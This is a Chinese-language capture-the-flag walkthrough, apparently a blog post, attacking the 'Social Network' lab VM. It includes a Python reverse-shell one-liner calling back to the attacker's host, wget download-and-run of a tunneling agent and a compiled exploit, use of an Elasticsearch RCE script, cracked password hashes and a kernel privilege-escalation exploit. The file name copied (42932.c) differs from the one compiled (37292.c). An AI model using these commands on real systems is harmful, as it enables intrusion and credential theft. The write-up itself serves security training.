Name:BoredHackerBlog-Social Network
level:medium

文章目录

主机发现
netdiscover -i eht0 -r 192.168.43.1/24
目标锁定Vmware几个主机,地址193为存活主机,确定为靶机
在这里插入图片描述

端口扫描
在这里插入图片描述
在这里插入图片描述
5000端口为web服务,Werkzeug是python语言开发的底层框架,服务器编程语言是python

目录扫描
dirsearch -u 192.168.43.193:5000
在这里插入图片描述
管理后台命令执行,反弹shell
python反弹shell:本机监听4444端口:nc -nvlp 4444,管理后台执行代码
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.43.233”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

主机为docker容器
出现dockerfile文件,里面是docker的配置模板文件,主机可能是docker容器
在这里插入图片描述
在这里插入图片描述
 辨别是否是docker容器:
正常主机 与 docker容器区别:
1、
在这里插入图片描述
在这里插入图片描述
2、在这里插入图片描述
在这里插入图片描述
3、
192.168.43.193 IP与shell的IP不符

扫描docker内网主机:for i in $(seq 1 5); do ping -c 1 172.17.0.$i; done

在这里插入图片描述
这里网段是B段,理论上是65535个,演示了5条记录
在这里插入图片描述
发现存活主机:172.17.0.1 和172.17.0.2
要对容器主机进行扫描测试,先建立隧道,使用kali中工具进行测试
查看linux版本:uname -a
在这里插入图片描述
工具:venom
venom服务端(kali本机)监听9999端口,等待docker回连:./admin_linux_x64 -lport 9999
 把venom客户端程序上传到docker容器:
把此工具中的文件agent_linux_x64,更名为a(方便拼写代码)
kali使用python开启http服务:python3 -m http.server 80
靶机执行wget http://192.168.43.233/a 下载venom客户端
给予执行权限:chmod +x a
远程连接服务端:./a -rhost 192.168.43.233 -rport 9999
在这里插入图片描述
在这里插入图片描述
通过show命令查看,发现节点
进入节点:goto 1
在此节点启动socks监听:socks 1080 在这里插入图片描述
修改proxychains配置文件:vi /etc/proxychains.conf。把监听端口改为刚才设置的1080
在这里插入图片描述
对docker容器主机进行扫描
扫描容器主机172.17.0.1端口:proxychains nmap -Pn -sT 172.17.0.1
在这里插入图片描述
查看服务:proxychains nmap -p 22,5000 -Pn -sT -sV 172.17.0.1
在这里插入图片描述
在这里插入图片描述
和之前192.168.43.193的内容完全一致,说明这台内网主机就是我们要攻击的靶机
重复上述操作,扫描172.17.0.2主机的端口与服务
在这里插入图片描述
这个服务可能存在重大漏洞,使用exploit查询下
在这里插入图片描述
拷贝这两个远程命令执行脚本:cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
查看脚本是Python2编写
执行脚本,获取shell:python2 36337.py 172.17.0.2
在这里插入图片描述
ls查看下,发现password的文件,可能存在敏感信息
在这里插入图片描述
发现秘密是hash值,需要对其进行破解
在这里插入图片描述
手工破解较慢,推荐到网站破解平台
john:3f8184a7343664553fcb5337a3138814 1337hack
test:861f194e9d6118f3d942a72be3e51749 1234test
admin:670c3bbc209a18dde5446e5e6c1f1d5b 1111pass
root:b3d34352fc26117979deabdf1b9b6354 1234pass
jane:5c158b60ed97c723b673529b8a3cf72b 1234jane
依次登录进行查看:ssh john@192.168.43.193
结果只有john能够登录,查看是否具有sudo权限:sudo -s,并无sudo权限
在这里插入图片描述
发现内核版本过低,可能存在内核提权漏洞uname-a
在这里插入图片描述
查找下利用工具:searchsploit linux 3.13,选择其中一个拷贝到当前文件夹
cp /usr/share/exploitdb/exploits/linux/dos/42932.c .
在这里插入图片描述
执行payload前,先查看下代码:vi 42932.c 是C语言的源代码,需要进行编译,编译后再执行结果,但是靶机并没有gcc命令,需要在本机进行编译后上传到靶机。
但是通过阅读源码发现后续执行还用到gcc编译个.so库文件
所以需要修改源码,删掉编译部门,再配个库文件
在这里插入图片描述
在这里插入图片描述
删除篮框的内容,保存,对文件编译:gcc -o exp 37292.c //-o 输出文件名
查看本机是否有库文件:locate ofs-lib.so 发现存在,拷贝到当前目录
在这里插入图片描述
python启动个http服务,让靶机下载这两个文件
kali:python -m http.server 80
靶机:wget http://192.168.43.233/exp 和wget http://192.168.43.233/ofs-lib.so
为了能更好的执行,把两个文件拷贝到tmp目录下执行
赋予执行权限:chmod +x exp ofs-lib.so
执行payload:./exp
在这里插入图片描述
由此看到获取到root权限,打靶结束

总结

1、 主机发现:arp-scan、nmap
2、 端口及服务扫描:nmap
3、 目录扫描:dirsearch
4、 python语言的命令执行,反弹shell:网上搜关键词
5、 内网穿透:工具venom、proxychains
6、 docker容器扫描主机及其端口、服务:nmap
7、 对端口9200服务攻击获取主机权限:searchexploit
8、 内核提权:searchexploit
9、 对payload查看并修改

Logo

CSDN联合极客时间,共同打造面向开发者的精品内容学习社区,助力成长!

更多推荐